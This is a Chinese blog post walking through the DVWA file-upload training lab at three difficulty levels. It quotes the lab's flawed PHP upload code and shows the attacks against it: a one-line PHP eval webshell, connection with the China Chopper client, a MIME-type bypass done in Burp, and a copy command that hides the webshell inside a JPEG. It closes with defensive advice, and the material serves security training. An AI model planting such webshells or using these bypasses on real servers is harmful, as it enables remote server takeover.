首页 > 其他分享 >DVWA 之 File Upload-文件上传

DVWA 之 File Upload-文件上传

时间:2023-03-05 09:15:24浏览次数:55  
标签:uploaded 文件 File Upload DVWA 木马 hack 文件类型 上传

五、File Upload-文件上传

文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都爆出过文件上传漏洞。

1. Low

查看源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// Can we move the file to the upload folder?
	if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
		// No
		$html .= '<pre>Your image was not uploaded.</pre>';
	}
	else {
		// Yes!
		$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
	}
}

?>

basename(path, suffix)函数返回路径中的文件名部分,如果可选参数suffix 为空,则返回的文济南名包含后缀名,反之不包含后缀名。

可以看到,服务器对上传 文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

漏洞利用

文件上传漏洞的利用是有限制条件的,首先是要能成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。这里三个条件全部满足。

上传木马文件hack.php(一句话木马),内容如下

<?php
@eval($_POST['hello']);
?>

开始上传

上传成功,并且显示上传的路径。

使用中国菜刀进行连接,打开中国菜刀,右键添加

在地址栏填入上传文件所在路径 http://127.0.0.1/DVWA-master/hackable/uploads/hack.php

参数名(一句话木马口令)为 hello

然后菜刀就会通过向服务器发送包含apple参数的post请求,在服务器上执行任意命令,获取webshell权限。(云电脑上中国菜刀未响应,就不贴图了)

2. Medium

查看源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

	// Is it an image?
	if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
		( $uploaded_size < 100000 ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>

可以看到Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是 jpeg 或者 png,大小不能超过100000Byte(约97.5KB)

漏洞利用

由于是一句话木马,因此文件大小不会有问题,通过抓包修改文件类型可以绕过文件类型限制。

创建hack_medium.png文件,内容为一句话木马。(先建立php文件,再将文件名后缀改为png)

通过burp进行抓包修改文件类型,点击Forward

上传成功

后续可以通过中国菜刀进行连接。

3. High

查看源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
		( $uploaded_size < 100000 ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>

strrpos(string, find, start)函数返回字符串 find 在另一字符串 string 中最后一次出现的位置,如果没有找到字符串则返回false,可选参数 start规定在何处开始搜索。

getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

High级别的代码读取文件名中最后一个.后的字符串,期望通过文件名来限制值文件类型,因此要求上传文件名形式必须是.jpg/jpeg/png之一,同时限制了上传文件的文件头必须为图像类型。

漏洞利用

将一句话木马写入图片中,再上传图片文件。

利用copy将一句话木马文件hack.php与图片文件1.jpg合并生成hack.jpg文件

copy 1.jpg/b+hack.php/a hack.jpg

一句话木马添加到了图片文件的最后。

上传此包含一句话木马的图片文件,上传成功

后续通过中国菜刀连接,获取webshell。

防护方法

  • 文件上传的目录设置为不可执行
  • 判断文件类型,推荐白名单方式
  • 使用随机数改写文件名和文件路径
  • 单独设置文件服务器的域名

标签:uploaded,文件,File,Upload,DVWA,木马,hack,文件类型,上传
From: https://www.cnblogs.com/augustine0654/p/17179709.html

相关文章

  • DVWA 之 Insecure CAPTCHA-不安全的验证
    六、InsecureCAPTCHA-不安全的验证原理InsecureCAPTCHA意思是不安全的验证码,CAPTCHA是CompletelyAutomatedPublicTuringTesttoTellComputersandHumansApa......
  • DVWA 之 SQL Injection-SQL注入
    七、SQLInjection-SQL注入原理SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到恶意执行SQL语句的目的。手工注入常规思路判断是否存在注入,注......
  • DVWA 之 SQL Injection(Blind) - SQL注入(盲注)
    八、SQLInjection(Blind)-SQL注入(盲注)原理SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常无法从显示页面......
  • DVWA 之 CSRF-跨站请求伪造
    三、CSRF-跨站请求伪造原理指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身......
  • DVWA 之 Command Injection-命令注入
    二、CommandInjection-命令注入原理命令注入是指对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。PHP命令......
  • DVWA 环境搭建
    环境准备phpstudy官网下载:https://www.xp.cn/,下载安装完成后启动Apache和MysqlDVWA下载地址:https://github.com/ethicalhack3r/DVWA将下载后的DVWA安装包......
  • Mysql 1290 - The MySQL server is running with the --secure-file-priv option
    问题场景执行导入数据报错执行语句如下:loaddatainfile'C:\Users\86183\Desktop\laodInFile.txt'INTOTABLEtest.test1;报错信息如下:1290-TheMySQLserverisrunnin......
  • 如何编写正确高效的Dockerfile
    Dockerfile是什么Dockerfile非常普通,它就是一个纯文本,里面记录了一系列的构建指令,比如选择基础镜像、拷贝文件、运行脚本等等,RUN,COPY,ADD指令都会生成一个Layer,而Do......
  • 轻松玩转Makefile | 企业项目级Makefile实例
    前言本文展示了一个比较完整的企业项目级别的Makefile文件,包括了:文件调用,源文件、头文件、库文件指定,软件版本号、宏定义,编译时间,自动目录等内容。1、目录架构本文中所......
  • uploadlabs-Pass-02代码注释
    <?phpinclude'../config.php';include'../head.php';include'../menu.php';$is_upload=false;$msg=null;if(isset($_POST['submit'])){//判断提交的submit是不是......